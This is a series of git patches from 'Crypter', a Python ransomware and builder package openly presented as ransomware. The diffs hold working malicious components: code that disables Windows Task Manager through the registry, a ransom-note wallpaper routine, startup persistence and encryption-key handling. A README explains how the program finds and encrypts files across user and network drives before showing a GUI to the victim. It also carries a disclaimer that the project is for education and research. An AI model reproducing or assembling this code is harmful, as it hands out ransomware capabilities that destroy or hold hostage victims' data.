len(full_extension) and full_extension[ - -len(target_extension):] == target_extension.lower(): - return True - - return False -def set_wallpaper(self): - ''' - @summary: Sets the users wallpaper to a specific ransom not image - @deprecated: This method, and approach, is no longer used. The ransom - note is now displayed via a WX GUI - @requires: To enable this method, add an import for ctypes - ''' + def set_wallpaper(self): + ''' + @summary: Sets the users wallpaper to a specific ransom not image + @deprecated: This method, and approach, is no longer used. The ransom + note is now displayed via a WX GUI + @requires: To enable this method, add an import for ctypes + ''' - # Import image and write to path - # todo adjust file name... maybe replace this with whatever is provided in the config file? - image_path = os.path.join(sys._MEIPASS, "ransom.png") + # Import image and write to path + # todo adjust file name... maybe replace this with whatever is provided in the config file? + image_path = os.path.join(sys._MEIPASS, "ransom.png") - SPI_SETDESKWALLPAPER = 20 - ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) + SPI_SETDESKWALLPAPER = 20 + ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) From 6801f52064d5454de7d5a7b09d21af3e0d63d9cc Mon Sep 17 00:00:00 2001 From: sithis Date: Sat, 25 Apr 2020 00:21:00 +0100 Subject: [PATCH 17/41] Adjusted icon fil in example config to use relative path --- config_example.cfg | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config_example.cfg b/config_example.cfg index 178c194..1774b5a 100644 --- a/config_example.cfg +++ b/config_example.cfg @@ -1,7 +1,7 @@ { "builder_language": "English", "pyinstaller_aes_key": "", - "icon_file": "C:\\dev\\py\\Crypter\\CrypterBuilder\\Resources\\pdf.ico", + "icon_file": ".\\CrypterBuilder\\Resources\\pdf.ico", "open_gui_on_login": true, "gui_title": "CRYPTER", "upx_dir": "", From bb3887a048c9a9cded001f7a2aab7c7c463a5902 Mon Sep 17 00:00:00 2001 From: sithis Date: Sat, 25 Apr 2020 00:23:45 +0100 Subject: [PATCH 18/41] Renamed gui directory to gui_project_files --- {gui => gui_project_files}/Crypter/crypter.fbp | 0 {gui => gui_project_files}/Crypter/crypter.fbp.bak | 0 {gui => gui_project_files}/Crypter/final.fbp | 0 {gui => gui_project_files}/Crypter/final.fbp.bak | 0 .../CrypterBuilder/crypter_builder_final.fbp | 0 .../CrypterBuilder/prototypes/crypter_builder_dark.fbp | 0 .../CrypterBuilder/prototypes/crypter_builder_light.fbp | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename {gui => gui_project_files}/Crypter/crypter.fbp (100%) rename {gui => gui_project_files}/Crypter/crypter.fbp.bak (100%) rename {gui => gui_project_files}/Crypter/final.fbp (100%) rename {gui => gui_project_files}/Crypter/final.fbp.bak (100%) rename {gui => gui_project_files}/CrypterBuilder/crypter_builder_final.fbp (100%) rename {gui => gui_project_files}/CrypterBuilder/prototypes/crypter_builder_dark.fbp (100%) rename {gui => gui_project_files}/CrypterBuilder/prototypes/crypter_builder_light.fbp (100%) diff --git a/gui/Crypter/crypter.fbp b/gui_project_files/Crypter/crypter.fbp similarity index 100% rename from gui/Crypter/crypter.fbp rename to gui_project_files/Crypter/crypter.fbp diff --git a/gui/Crypter/crypter.fbp.bak b/gui_project_files/Crypter/crypter.fbp.bak similarity index 100% rename from gui/Crypter/crypter.fbp.bak rename to gui_project_files/Crypter/crypter.fbp.bak diff --git a/gui/Crypter/final.fbp b/gui_project_files/Crypter/final.fbp similarity index 100% rename from gui/Crypter/final.fbp rename to gui_project_files/Crypter/final.fbp diff --git a/gui/Crypter/final.fbp.bak b/gui_project_files/Crypter/final.fbp.bak similarity index 100% rename from gui/Crypter/final.fbp.bak rename to gui_project_files/Crypter/final.fbp.bak diff --git a/gui/CrypterBuilder/crypter_builder_final.fbp b/gui_project_files/CrypterBuilder/crypter_builder_final.fbp similarity index 100% rename from gui/CrypterBuilder/crypter_builder_final.fbp rename to gui_project_files/CrypterBuilder/crypter_builder_final.fbp diff --git a/gui/CrypterBuilder/prototypes/crypter_builder_dark.fbp b/gui_project_files/CrypterBuilder/prototypes/crypter_builder_dark.fbp similarity index 100% rename from gui/CrypterBuilder/prototypes/crypter_builder_dark.fbp rename to gui_project_files/CrypterBuilder/prototypes/crypter_builder_dark.fbp diff --git a/gui/CrypterBuilder/prototypes/crypter_builder_light.fbp b/gui_project_files/CrypterBuilder/prototypes/crypter_builder_light.fbp similarity index 100% rename from gui/CrypterBuilder/prototypes/crypter_builder_light.fbp rename to gui_project_files/CrypterBuilder/prototypes/crypter_builder_light.fbp From 0281566378d49bf7da9a8cd2c6de894a47d1bc76 Mon Sep 17 00:00:00 2001 From: sithis Date: Sat, 25 Apr 2020 00:41:09 +0100 Subject: [PATCH 19/41] Removed manual initialising of encryption key --- Crypter/Crypter/Crypter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py index f777b12..c2647f9 100644 --- a/Crypter/Crypter/Crypter.py +++ b/Crypter/Crypter/Crypter.py @@ -58,7 +58,7 @@ def __init__(self): self.__add_to_startup_programs() # Find files and initialise keys - self.Crypt.init_keys("0123456789ABCDEF0123456789ABCDEF") + self.Crypt.init_keys() file_list = self.find_files() From e1d0127c80d9b6ea5b6b3b79c675057707e9d522 Mon Sep 17 00:00:00 2001 From: sithis Date: Sat, 25 Apr 2020 01:05:08 +0100 Subject: [PATCH 20/41] Fixed winreg import --- Crypter/Crypter/TaskManager.py | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/Crypter/Crypter/TaskManager.py b/Crypter/Crypter/TaskManager.py index 38e4282..8b13db1 100644 --- a/Crypter/Crypter/TaskManager.py +++ b/Crypter/Crypter/TaskManager.py @@ -33,27 +33,27 @@ def disable(self): # Try to read the key try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] - _winreg.CloseKey(reg) + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) + disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] + winreg.CloseKey(reg) key_exists = True except: pass # If key doesn't exist, create it and set to disabled if not key_exists: - reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) - _winreg.CloseKey(reg) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) + winreg.CloseKey(reg) # If enabled, disable it elif key_exists and not disabled: - reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, - _winreg.KEY_SET_VALUE) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001) - _winreg.CloseKey(reg) + winreg.KEY_SET_VALUE) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000001) + winreg.CloseKey(reg) def enable(self): @@ -64,21 +64,21 @@ def enable(self): # Try to read the key try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) - disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0] - _winreg.CloseKey(reg) + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION) + disabled = winreg.QueryValueEx(reg, "DisableTaskMgr")[0] + winreg.CloseKey(reg) key_exists = True except: pass # If key exists and is disabled, enable it if key_exists and disabled: - reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, + reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION, 0, - _winreg.KEY_SET_VALUE) - _winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000000) - _winreg.CloseKey(reg) + winreg.KEY_SET_VALUE) + winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_DWORD, 0x00000000) + winreg.CloseKey(reg) if __name__ == "__main__": From 46bc4951cc20013610dce04ee72f7b11a445c6b1 Mon Sep 17 00:00:00 2001 From: sithis Date: Sun, 26 Apr 2020 13:44:12 +0100 Subject: [PATCH 21/41] README work --- README.md | 113 ++---------------- .../crypter_example.png | Bin repo_images/crypter_logo.png | Bin 0 -> 18527 bytes 3 files changed, 13 insertions(+), 100 deletions(-) rename sample_images/crypter_package.png => repo_images/crypter_example.png (100%) create mode 100644 repo_images/crypter_logo.png diff --git a/README.md b/README.md index 311c00e..46c3666 100644 --- a/README.md +++ b/README.md @@ -1,106 +1,19 @@ -# Crypter +

Crypter

+

+ +

+Crypter is a Ransomware and Builder package written purely in Python -*Update: Please note that as of December 15th 2017, the direction and purpose of this project has changed. Consequently, It's **extremely important** that you read both the **Disclaimer** and **Project Direction Update** sections of this README.* +

What's New?

+

Disclaimer

-Welcome to Crypter! a ransomware and builder package written entirely in Python and compiled to a Windows executable using [PyInstaller](http://www.pyinstaller.org/). This README will provide you with all of the information necessary to understand, build and use this software. -**Please note that by making use of this repository you accept and agree with the disclaimer section of this README, as well as the section marked "Project Direction Update".** +## Getting Set Up -Click [here](https://youtu.be/r3jaNHmkkXE) for a video demonstration of Crypter and [here](../../releases) to download the Crypter distributable release, which contains the Crypter repository and all of the required dependencies in a single, convenient package. +## Components +******** +## Purpose - ![Crypter GUI](sample_images/crypter_package.png) - *Builder application (left) and Crypter ransomware piece (right)* - - - ## Disclaimer - IMPORTANT +## How does Crypter work -*Update: Before reading this section, please also read the section marked "Project Direction Update".* - -Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. - -Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key (enabling you to decrypt any encrypted files), bugs and other issues could, in theory, interrupt or prevent a successful decryption. - -Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. - -Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer, as well as the section marked "Project Direction Update".** - -## Project Direction Update -In recent weeks a number of ethical and legal concerns around this project have been raised. Please note that it is **not** my intention to provide criminals with a tool for destructive or harmful purposes. In its current state, Crypter allows users to easily decrypt their files. Once opened, the 256-bit AES key used for encryption is written to a local file in the same directory with the filename **key.txt**. This key can then be used to decrypt all of the encrypted files. It is not hidden from the user, nor is it ever sent to a remote server, Email address etc. In order to truly utilise Crypter for malicious purposes it would likely need to be expanded upon considerably. - -Nevertheless, if I continue to develop this project then I may be in risk of breaking local laws by providing a tool that can be used to commit an offense. Consequently, from December 15th 2017 onwards I will continue to provide support on this project to fix bugs and answer quries, but I will not be continuing with active development, nor will I be addressing feature requests. - -To clarify exactly what this means, I will address issues when highlighted or identified and I may expand upon documentation in the future, but the following will no longer be addressed: -- Development of a remote Command and Control component -- Further functionality additions - -It's been an interesting and pretty fun journey, but active development on the project should be considered finished from this point onwards. - -## Repository Structure -If you're unsure of the components that make up this repository, the following explanation should give you some insight: -``` -Crypter -| -- Crypter\ (The actual ransomware code) -| -- build\ (The builder application, configuration and resources used to produce the PyInstaller binary) - | -- ExeBuilder\ (The Crypter builder package and application) - | -- Resources\ (Holds resources that are bundled with, and used to build, the Crypter executable) - | -- builder_gui\ (Contains the wxFormBuilder GUI project, including prototypes, for the Builder) - | -- Builder.pyw (Launches the builder. Run this script to open the builder application) - | -- config_example.cfg (An example configuration file that can be loaded into the Builder) -| -- gui\ (The Crypter GUI project files. These can be viewed and edited using wxFormBuilder -| -- sample_images\ (Simply contains sample images used in this README) -``` - -## Prerequisites -Before cloning the repository and attempting to build Crypter, you must first meet the following prerequisites. You'll then have all the tools required to launch the builder and create the executable. - -**Due to the confusion and room-for-error surrounding these dependencies, this repository has been packaged with the additional required software shown in the table below, and can be downloaded as a .zip from the [Releases](../../releases) page.** - -**Note:** You should install the software in the exact order shown in the table below, from top to bottom. Without these you wont be able to launch the builder. Errors or issues you may encounter will most likely stem from missing or invalid dependencies. - -| Requirement | Supported Versions | Recommended Version | -| ----------- | ------------------ | ----------- | -| Microsoft Windows | 7, 8, 10, Server 2K8 and above | 10 | -| Python | 2.7.13 (x86) | [2.7.13 (x86)](https://www.python.org/downloads/release/python-2713/) | -| Pyinstaller | 3.1.1, 3.2.1 | [3.1.1](https://github.com/pyinstaller/pyinstaller/releases/tag/v3.1.1) | -| Microsoft VC++ for Python | 9.0 | [9.0](https://www.microsoft.com/en-gb/download/details.aspx?id=44266) | -| pypiwin32 | 219 | [219](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/) | -| PyCrypto | 2.6.1 | [2.6.1](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) | -| Ordered Dict | 1.1 | [1.1](https://pypi.python.org/pypi/ordereddict) | -| WxPython | 3.0.2.0 | [3.0.2.0](https://sourceforge.net/projects/wxpython/files/wxPython/3.0.2.0/) | -| \*UPX | 3.94w | [3.94w](https://github.com/upx/upx/releases/tag/v3.94) | - -\*The [UPX Packer](https://upx.github.io/) is an optional, but highly recommended tool that the builder can use to pack the ransomware executable. UPX will allow you to reduce the size of the binary that PyInstaller produces by several Megabytes. - -Once the above software is installed you will be able to launch the builder. - -## How can I build Crypter? -Providing you've met the above prerequisites, building Crypter is now easy thanks to the newly added builder application. - -- Run the *Builder.pyw* script in the *build* directory of this repository to launch the builder. -- Change any desired options, or leave the fields as they are to build Crypter with the default configuration. -- Click the BUILD button at the bottom of the app to start the build. -- Check the *bin* directory (created during the build) in the root of the repository for the produced binary. - -## How does Crypter work? -Crypter's approach is fairly conventional, but the lack of a CnC component does result in different behaviour (see the [Crypter video demonstration](https://youtu.be/r3jaNHmkkXE)). Rather than sending the key to a remote server, Crypter instead writes it to a local file so that the files can be easily decrypted. Once executed, the following steps are taken: - -1. Generates an AES-256 bit key and writes it to key.txt in the current directory - - You can use this key in the Crypter GUI to decrypt your files -2. Searches relevant locations (network drives, user directories, etc.) for matching files - - Locations searched depend on the configuration you specify in the Builder. -3. Encrypts all matching files -4. Displays the Crypter GUI to the victim - -## Why was Crypter created? -Given Crypter's malicious capabilities, as well as the disclaimer in this README, you may be wondering why Crypter was created. The primary (and original) goal of this project was to provide a proof-of-concept which demonstrated Python's capabilities as a language for real-world malware development. - -As development continued, the focus of the project then changed to provide a tool that could be used for security training and first-hand user awareness. In this sense, Crypter could be used to perform and demonstrate a real-world ransomware outbreak within a controlled environment, the effects of which could be easily reversed. - -Traditionally, compiled languages like C and C++ have been the chosen platforms of malware authors. Today however, a general advancement of platforms and tools has introduced attractive alternatives which extend these opportunities to other languages. As an incredibly popular, beginner-friendly language with an immense wealth of third party support, Python allows developers to quickly create powerful tools without the overhead of a lower-level language. These characteristics are likely responsible for the increase in Python-based malware pieces observed in recent years, and will also likely influence and impact future trends in the area. Examples of such pieces include: - -+ [PWOBot](http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/) -+ [PyCL](https://www.bleepingcomputer.com/news/security/pycl-ransomware-delivered-via-rig-ek-in-distribution-test/) -+ [CryPy](http://www.zdnet.com/article/python-ransomware-encrypts-files-with-unique-keys-one-at-a-time/) -+ [HolyCrypt](https://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/) - -Whilst similar projects do exist on GitHub, few are structured in the same way. Crypter aims to expand upon these by providing a *cryptolocker* style Python-based ransomware piece, which can be easily customised and built. +## Ethical Concerns \ No newline at end of file diff --git a/sample_images/crypter_package.png b/repo_images/crypter_example.png similarity index 100% rename from sample_images/crypter_package.png rename to repo_images/crypter_example.png diff --git a/repo_images/crypter_logo.png b/repo_images/crypter_logo.png new file mode 100644 index 0000000000000000000000000000000000000000..84d485602f5f34117ec28548b27cad177e56d1b0 GIT binary patch literal 18527 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 